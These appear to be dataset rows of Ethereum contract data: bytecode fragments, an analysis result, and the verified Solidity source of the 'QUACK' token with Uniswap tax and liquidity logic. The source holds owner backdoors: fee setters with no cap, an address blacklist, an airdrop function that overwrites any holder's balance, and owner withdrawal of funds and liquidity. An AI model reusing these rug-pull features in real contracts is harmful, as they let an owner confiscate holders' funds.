15260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b8260000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1057600080fd5b6000811415610f9757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f9257600080fd5b610ffa565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ff957600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561110e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a2565b6111218382611a5090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f464952535400000000000000000000000000000000000000000000000000000081525081565b600460ff16600a0a631dcd65000281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561148857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114d557600080fd5b611526826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b600061170182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561199057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a5e57fe5b818303905092915050565b60008183019050828110151515611a7c57fe5b809050929150505600a165627a7a72305820dc7296fe787b6f5b07e55042c946ae0bcece9cc959f0fcd83c82a1e1597327440029 | {"success": true, "error": null, "results": {}} | 9,851 |
0x10b8caac05575e14f858a81b735926e2d3e6600e | /**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
pragma solidity ^0.8.13;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract QUACK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 100000000 * 10**8;
uint256 private _contractAutoLpLimitToken = 1000000000000000000;
uint256 private _taxFee;
uint256 private _buyTaxMarketing = 5;
uint256 private _sellTaxMarketing = 9;
uint256 private _autoLpFee = 3;
uint256 private _LpPercentBase100 = 35;
address payable private _taxWallet;
address payable private _contractPayment;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "QUACK";
string private constant _symbol = "QUACK";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 coinReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_contractPayment = payable(address(this));
_taxFee = _buyTaxMarketing + _autoLpFee;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount = _tTotal.mul(2).div(10**2);
_maxWallet = _tTotal.mul(4).div(10**2);
_balance[address(this)] = _tTotal;
emit Transfer(address(0x0), address(this), _tTotal);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function isInSwap() public view returns (bool) {
return _inSwap;
}
function isSwapEnabled() public view returns (bool) {
return _swapEnabled;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
_sellTaxMarketing = taxFee;
}
function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
_buyTaxMarketing = taxFee;
}
function setAutoLpFee(uint256 taxFee) external onlyOwner() {
_autoLpFee = taxFee;
}
function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
_contractAutoLpLimitToken = newLimit;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to], "This account is blacklisted");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
if (from == _pair) {
_taxFee = buyTax();
} else {
_taxFee = sellTax();
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!_inSwap && from != _pair && _swapEnabled) {
if(contractTokenBalance >= _contractAutoLpLimitToken) {
swapAndLiquify(contractTokenBalance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);
uint256 half = autoLpTokenBalance.div(2);
uint256 otherHalf = autoLpTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidityAuto(newBalance, otherHalf);
emit SwapAndLiquify(half, newBalance, otherHalf);
swapTokensForEth(marketingAmount);
sendETHToFee(marketingAmount);
}
function buyTax() private view returns (uint256) {
return (_autoLpFee + _buyTaxMarketing);
}
function sellTax() private view returns (uint256) {
return (_autoLpFee + _sellTaxMarketing);
}
function setMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidityInitial() external payable onlyOwner {
_uniswap.addLiquidityETH{value: address(this).balance} (
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
_approve(address(this), address(_uniswap), tokenValue);
_uniswap.addLiquidityETH{value: etherValue} (
address(this),
tokenValue,
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) {
return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function emergencyWithdraw(address _token) public onlyOwner {
if (_token == address(0)) {
owner().call{ value: address(this).balance }("");
} else {
IERC20 token = IERC20(_token);
uint bal = token.balanceOf(address(this));
token.approve(address(this), bal);
token.transfer(owner(), bal);
}
}
function enableTrading(bool _enable) external onlyOwner{
_canTrade = _enable;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function setMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualsend() public {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner {
for(uint256 i = 0; i < recipients.length; i++) {
_balance[recipients[i]] = amounts[i] * 10**8;
emit Transfer(address(this), recipients[i], amounts[i] * 10**8);
}
}
} | 0x6080604052600436106101fc5760003560e01c8063715018a61161010d578063baa2abde116100a0578063dd62ed3e1161006f578063dd62ed3e146106e1578063e35077971461071e578063ea2f0b3714610747578063f275f64b14610770578063f8b45b051461079957610203565b8063baa2abde14610612578063bc33718214610650578063bfd7928414610679578063cc996899146106b657610203565b80638da5cb5b116100dc5780638da5cb5b1461056857806395d89b41146105935780639e78fb4f146105be578063a9059cbb146105d557610203565b8063715018a6146104f35780637b41192a1461050a578063818a7def146105335780638c0b5e221461053d57610203565b8063351a964d1161019057806363148a501161015f57806363148a50146104245780636b9990531461044d5780636fc3eaec146104765780636ff1c9bc1461048d57806370a08231146104b657610203565b8063351a964d1461037e5780634263ec33146103a9578063437823ec146103d25780635d0044ca146103fb57610203565b806318160ddd116101cc57806318160ddd146102c25780631d60c2b0146102ed57806323b872dd14610316578063313ce5671461035357610203565b8062b8cf2a14610208578063061c82d01461023157806306fdde031461025a578063095ea7b31461028557610203565b3661020357005b600080fd5b34801561021457600080fd5b5061022f600480360381019061022a919061342a565b6107c4565b005b34801561023d57600080fd5b50610258600480360381019061025391906134a9565b6108ee565b005b34801561026657600080fd5b5061026f61098d565b60405161027c919061355e565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190613580565b6109ca565b6040516102b991906135db565b60405180910390f35b3480156102ce57600080fd5b506102d76109e8565b6040516102e49190613605565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f91906134a9565b6109f2565b005b34801561032257600080fd5b5061033d60048036038101906103389190613620565b610a91565b60405161034a91906135db565b60405180910390f35b34801561035f57600080fd5b50610368610b6a565b604051610375919061368f565b60405180910390f35b34801561038a57600080fd5b50610393610b73565b6040516103a091906135db565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906134a9565b610b8a565b005b3480156103de57600080fd5b506103f960048036038101906103f491906136aa565b610c29565b005b34801561040757600080fd5b50610422600480360381019061041d91906134a9565b610d19565b005b34801561043057600080fd5b5061044b6004803603810190610446919061379a565b610dc6565b005b34801561045957600080fd5b50610474600480360381019061046f91906136aa565b610fae565b005b34801561048257600080fd5b5061048b61109e565b005b34801561049957600080fd5b506104b460048036038101906104af91906136aa565b6110af565b005b3480156104c257600080fd5b506104dd60048036038101906104d891906136aa565b61137b565b6040516104ea9190613605565b60405180910390f35b3480156104ff57600080fd5b506105086113c4565b005b34801561051657600080fd5b50610531600480360381019061052c91906134a9565b611517565b005b61053b6115b6565b005b34801561054957600080fd5b50610552611724565b60405161055f9190613605565b60405180910390f35b34801561057457600080fd5b5061057d61172e565b60405161058a9190613821565b60405180910390f35b34801561059f57600080fd5b506105a8611757565b6040516105b5919061355e565b60405180910390f35b3480156105ca57600080fd5b506105d3611794565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190613580565b611b6b565b60405161060991906135db565b60405180910390f35b34801561061e57600080fd5b506106396004803603810190610634919061383c565b611b89565b6040516106479291906138de565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906134a9565b611cda565b005b34801561068557600080fd5b506106a0600480360381019061069b91906136aa565b611d87565b6040516106ad91906135db565b60405180910390f35b3480156106c257600080fd5b506106cb611da7565b6040516106d891906135db565b60405180910390f35b3480156106ed57600080fd5b5061070860048036038101906107039190613907565b611dbe565b6040516107159190613605565b60405180910390f35b34801561072a57600080fd5b50610745600480360381019061074091906134a9565b611e45565b005b34801561075357600080fd5b5061076e600480360381019061076991906136aa565b611ee4565b005b34801561077c57600080fd5b5061079760048036038101906107929190613973565b611fd4565b005b3480156107a557600080fd5b506107ae612086565b6040516107bb9190613605565b60405180910390f35b6107cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906139ec565b60405180910390fd5b60005b81518110156108ea5760016005600084848151811061087e5761087d613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108e290613a6a565b91505061085c565b5050565b6108f6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906139ec565b60405180910390fd5b8060088190555050565b60606040518060400160405280600581526020017f515541434b000000000000000000000000000000000000000000000000000000815250905090565b60006109de6109d7612154565b848461215c565b6001905092915050565b6000600654905090565b6109fa612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e906139ec565b60405180910390fd5b80600a8190555050565b6000610a9e848484612325565b610b5f84610aaa612154565b610b5a8560405180606001604052806028815260200161464060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b10612154565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129799092919063ffffffff16565b61215c565b600190509392505050565b60006008905090565b6000601260169054906101000a900460ff16905090565b610b92612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906139ec565b60405180910390fd5b8060098190555050565b610c31612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906139ec565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d21612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906139ec565b60405180910390fd5b6010548111610dbc57600080fd5b8060108190555050565b610dce612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e52906139ec565b60405180910390fd5b60005b8251811015610fa9576305f5e100828281518110610e7f57610e7e613a0c565b5b6020026020010151610e919190613ab2565b60026000858481518110610ea857610ea7613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610f0157610f00613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100858581518110610f6f57610f6e613a0c565b5b6020026020010151610f819190613ab2565b604051610f8e9190613605565b60405180910390a38080610fa190613a6a565b915050610e5e565b505050565b610fb6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906139ec565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004790506110ac816129dd565b50565b6110b7612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111ed5761118061172e565b73ffffffffffffffffffffffffffffffffffffffff16476040516111a390613b3d565b60006040518083038185875af1925050503d80600081146111e0576040519150601f19603f3d011682016040523d82523d6000602084013e6111e5565b606091505b505050611378565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161122d9190613821565b602060405180830381865afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613b67565b90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016112ab929190613b94565b6020604051808303816000875af11580156112ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ee9190613bd2565b508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61131361172e565b836040518363ffffffff1660e01b8152600401611331929190613b94565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190613bd2565b5050505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611459576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611450906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61151f612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906139ec565b60405180910390fd5b80600b8190555050565b6115be612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461164b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611642906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116943061137b565b60008061169f61172e565b426040518863ffffffff1660e01b81526004016116c196959493929190613c44565b60606040518083038185885af11580156116df573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117049190613ca5565b5050506001601260166101000a81548160ff021916908315150217905550565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f515541434b000000000000000000000000000000000000000000000000000000815250905090565b61179c612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611829576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611820906139ec565b60405180910390fd5b601260149054906101000a900460ff1615611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613d44565b60405180910390fd5b6118a830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611915573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119399190613d79565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e69190613d79565b6040518363ffffffff1660e01b8152600401611a03929190613da6565b6020604051808303816000875af1158015611a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a469190613d79565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b25929190613b94565b6020604051808303816000875af1158015611b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b689190613bd2565b50565b6000611b7f611b78612154565b8484612325565b6001905092915050565b600080611b94612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c18906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663baa2a